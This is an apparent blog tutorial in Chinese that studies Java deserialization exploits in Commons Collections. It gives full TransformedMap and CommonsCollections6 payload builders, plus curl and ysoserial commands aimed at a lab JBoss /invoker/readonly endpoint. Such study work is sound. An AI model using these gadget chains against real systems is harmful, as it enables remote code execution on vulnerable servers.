0%

Java反序列化2:Commons Collections Java反序列化漏洞与POP Gadgets

利用Commons Collections攻击反序列化漏洞由FoxGlove Security团队首次提出,也是我们第一次看到反序列化类型漏洞的利用,而其整个利用过程后来也被成为面向属性编程(POP),虽然事隔久远,但是还是参考先前大佬们的研究学习一下。

Apache Commons Collections

Apache Commons Collections(以下代码使用commons-collections-3.2.1.jar)拓展了Java原生Collection结构的第三方库,其中有一个TransformedMap类是本文的研究对象。它可以装饰一个基本Map,返回一个TransformedMap,当新元素加入TransformedMap时会对元素进行预先定义的变换(Transformer),比如说有如下代码

1
2
3
4
5
6
7
8
Map<String, String> map = new HashMap<>();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"concat",
new Class[]{String.class},
new Object[]{"transformed"} );
Map transformMap = TransformedMap.decorate(map, null, invokerTransformer);
transformMap.put("key1", "value1");
transformMap.forEach((key, value) -> System.out.println(key + ":" + value + "\n"));

执行后结果为:

1546088911400

注意到InvokerTransformer类,它让我们通过反射的方法调用任意对象的任意方法,其构造函数第一个参数是元素的方法("concat"),第二个参数是方法的参数类型数组(new Class[]{String.class}),第三个参数是具体参数值(new Object[]{"transformed"}),在上面代码的Transfer实际上是调用了value.concat("transformed")方法。

具体来说,对于每个put进来的value——更准确的说是setValue()——都会触发TransformedMap.checkSetValue():

1546157968457

该操作最终触发invokerTransformer.transform():

1546157830173

invokerTransformer.transform()演示:

1
2
3
4
5
6
7
8
// InvokerTransformer Usage
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
"concat",
new Class[]{String.class},
new Object[]{"transformed"} );
Object result = invokerTransformer1.transform("raw") ;
System.out.printf(result.toString());
// 输出 rawtransformed

使用transform弹出计算器

如果我们transform的对象就是Runtime,那情况就很好办了,直接调用它的exec(“calc”)方法就行了:

1546089796235

构造Transformer链

但是TransformedMap正常情况下不会去放Runtime类型(就像文章开头代码那样,可能是字符串或其他类型),那么就需要构造一个Transformer链,先获得Runtime类,再执行exec()方法。

这里需要用到另一个Transformer类——ConstantTransformer,它的功能是直接将key/value替换成另一个对象:

1546090891949

如上图所示,这里我们还是用了一个TransformerChain,TransformedMap允许我们定义一个Transformer链,上一个Transformer的结果再传递给下一个Transformer,这样我们就可以构造一个恶意的链来弹计算器了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class EvilTransformer2 {
public static void main(String[] args) {
// InvokerTransformer Usage
Map<String, String> map = new HashMap<>();
Transformer[] evilTransformers = new Transformer[]{
// Runtime
new ConstantTransformer(Runtime.class),
// (Method)Runtime.class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型)
// (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}), //invoke(函数名,函数参数)
// (java.lang.ProcessImpl)
// Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer evilTransformerChain = new ChainedTransformer(evilTransformers);
Map transformMap = TransformedMap.decorate(map, null, evilTransformerChain);
transformMap.put("key1", "value1");
transformMap.forEach((key, value) -> System.out.println(key + ":" + value + "\n"));
}
}

整个Chain实际上就是执行

1
Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc")

同样可以弹出计算器。

Annotation Invocation Handler

假设有一个不安全的反序列化函数,我们如何借助Apache Commons Collections进行命令执行呢?

我们知道我们传入的类必须是程序里面已经存在的类(这已经在第一篇里验证),因此我们就需要找一个类,它满足两个条件:1)该类存在于那个不安全的反序列化应用中;2)该类的readObject()调用了先前讨论的transformMap.checkSetValue()。这样我们就可以在构造一个恶意类让其反序列化,接着它调用setValue方法,就可以执行我们的代码了。

于是我们的目光转移到了Annotation Invocation Handler,可以看到在其属性memberValues不为空的情况下,会执行setValue方法:

注意:高版本的java已经修复了这一问题,如需复现使用jdk8u66及以前版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
//...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一系列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

于是我们可以实例化一个AnnotationInvocationHandler类,先设置一个不为空的map,再将其用先前的Transformer装饰,再将其序列化,给不安全的反序列化函数读取,这样就可以进行任意代码执行了:

考虑通过if (memberType != null),经过事后调试可以知道memberTypes中存在一个<"value", java.lang.annotation.RetentionPolicy>的键值对,所以我们构造payload时,需要保证name="value"key=“value"

考虑通过第二个if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)),即保证两者都不满足,这很简单,传入的map中value不要是以上两种类型即可。

根据上述思路,可以产生如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class PayloadTransformedMap {
public static void main(String[] args) throws Exception {
final Transformer[] evilTransformers = new Transformer[]{
// Runtime
new ConstantTransformer(Runtime.class),
// (Method)Runtime.class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型)
// (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}), //invoke(函数名,函数参数)
// (java.lang.ProcessImpl)
// Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer evilTransformerChain = new ChainedTransformer(evilTransformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outermap = TransformedMap.decorate(innermap, null, evilTransformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
//返回"sun.reflect.annotation.AnnotationInvocationHandler"对象
Object instance = ctor.newInstance(Retention.class, outermap);

FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream out = new ObjectOutputStream(fos);
out.writeObject(instance);
out.flush();
out.close();

ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload.ser"));
Object o=in.readObject();
in.close();
payloadTest();
}
public static void payloadTest() throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");

ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload.ser"));
in.readObject();
in.close();
}
}

运行代码,得到反序列化文件payload.ser

JBoss

下面找一个不安全的反序列化入口吧,一般Java的RMI(远程方法调用)或是其他服务都不免用到反序列化。在org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106)就存在一个不安全的反序列化入口:

1546160655463

在JBoss网站http://jbossas.jboss.org/downloads/上下载一个存在漏洞的jboss(以版本6.1为例),在虚拟机中安装一个低版本的java(8u66),再运行jboss

1
PS C:\Users\anemone\Desktop\jboss-6.1.0.Final\bin> ./run.bat -b 0.0.0.0

1546173400906

接着尝试触发Payload,这里假设server地址为192.168.80.141:

1
λ curl http://192.168.80.141:8080/invoker/readonly --data-binary @payload.ser

1546172924442

可以看到计算器被弹出。

面向属性编程——POP

它类似于ROP(面向返回编程),搞PWN的都知道为了绕过堆栈不可执行往往会利用一些程序中已有的代码片段(gadgets),将这些片段拼凑起来形成gadgets chain完成功能。

POP 的gadgets chain寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。以前面讲到的POC来说,构造的POP gadgats链为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CommonsCollections6 & LazyMap

java的高版本(8u151+)修改了AnnotationInvocationHandler,导致我们的POP链失效,这时我们就要寻找新的POP,不过原理都是一样的。

CommonsCollections6

这里我们使用ysoserial工具的CommonsCollections6 POP链生成Payload,可以exploit。

1
2
λ java -jar ysoserial.jar CommonsCollections6 "calc" > payload.ser
λ curl http://127.0.0.1:8080/invoker/readonly --data-binary @payload.ser

Payload

可以看到序列化对象的Payload为CommonsCollections6.java,改写一下变成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class PayloadLazyMap {
public static void main(String[] args) throws Exception {
final Transformer[] evilTransformers = new Transformer[]{
// Runtime
new ConstantTransformer(Runtime.class),
// (Method)Runtime.class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型)
// (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}), //invoke(函数名,函数参数)
// (java.lang.ProcessImpl)
// Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer evilTransformerChain = new ChainedTransformer(evilTransformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, evilTransformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet hashSet = new HashSet(1);
hashSet.add("nonce");
Field hashSetMapField = null;
try {
hashSetMapField = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
hashSetMapField = HashSet.class.getDeclaredField("backingMap");
}

hashSetMapField.setAccessible(true);
HashMap innerHashMap = (HashMap) hashSetMapField.get(hashSet);

Field hashMapTableField = null;
try {
hashMapTableField = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
hashMapTableField = HashMap.class.getDeclaredField("elementData");
}


hashMapTableField.setAccessible(true);
Object[] array = (Object[]) hashMapTableField.get(innerHashMap);
Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);

FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream out = new ObjectOutputStream(fos);
out.writeObject(hashSet);
out.flush();
out.close();

payloadTest();
}
public static void payloadTest() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload.ser"));
in.readObject();
in.close();
}
}

反序列化后弹出计算器,说明我们POP构造成功

POP链分析

它的POP链为

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

HashSet

先看HashSet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class HashSet<E> extends AbstractSet<E> 
implements Set<E>, Cloneable, java.io.Serializable
{
private transient HashMap<E,Object> map;
//...
public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
//...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); //Notice this
}
}
}

它内部存在一个HashMap,因为HashSet本身的实现原理就是利用HashMap,在新元素e加入Set时,实际上在HashMap中保存

在反序列化的时候,同样也会将对象加入这个HashMap,我们需要利用的就是map.put(e, PRESENT)这句话,在调试时,可以看到e对象是一个TiedMapEntry对象,key=foo,value=ProcessImpl:

1546224558228

key很好理解,但是value为什么是ProcessImpl?这还要再向下看:

HashMap

HashMap.put()调用了hash方法:

1546224687897

hash方法调用了key.hashCode()方法,根据Gadgets链可以猜测我们的key.hashCode()实际上是TiedMapEntry.hashCode():

1546225603303

org.apache.commons.collections.keyvalue.TiedMapEntry

继续跟进,就到了TiedMapEntry的hashCode()方法了,简单介绍一下TiedMapEntry,它继承了普通的Entity类(就是高级for循环用到的那个),其构造方法是TiedMapEntry(Map<K,V> map, K key)

这里需要利用它的hashCode()方法:

1546226115263

以及其调用的getValue()方法,可以看到它实际调用的是LazyMap.get()方法:

1546226273203

org.apache.commons.collections.keyvalue.LazyMap

终于!!!我们到了链的最底端,LazyMap.get(),LazyMap基于Map,Map一开始不放元素,只有在get()时才会通过之前定义的factory添加元素(这里的factory可以使Transformer类型)。我的断点没办法在序列化时捕捉if里面的语句,好像是因为调试器会在调试语句前执行该语句的原因,不过这个在先前文章(Commons Collections Java反序列化漏洞深入分析)都介绍过,这里写一个demo模拟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class LazyMapDemo {
public static void main(String[] args) {
final Transformer[] evilTransformers = new Transformer[]{
// Runtime
new ConstantTransformer(Runtime.class),
// (Method)Runtime.class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型)
// (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}), //invoke(函数名,函数参数)
// (java.lang.ProcessImpl)
// Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer evilTransformerChain = new ChainedTransformer(evilTransformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, evilTransformerChain);
lazyMap.get('a');
}
}

执行结果:

1546227538067

参考资料

  1. Commons Collections Java反序列化漏洞深入分析
  2. JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用
  3. ysoserial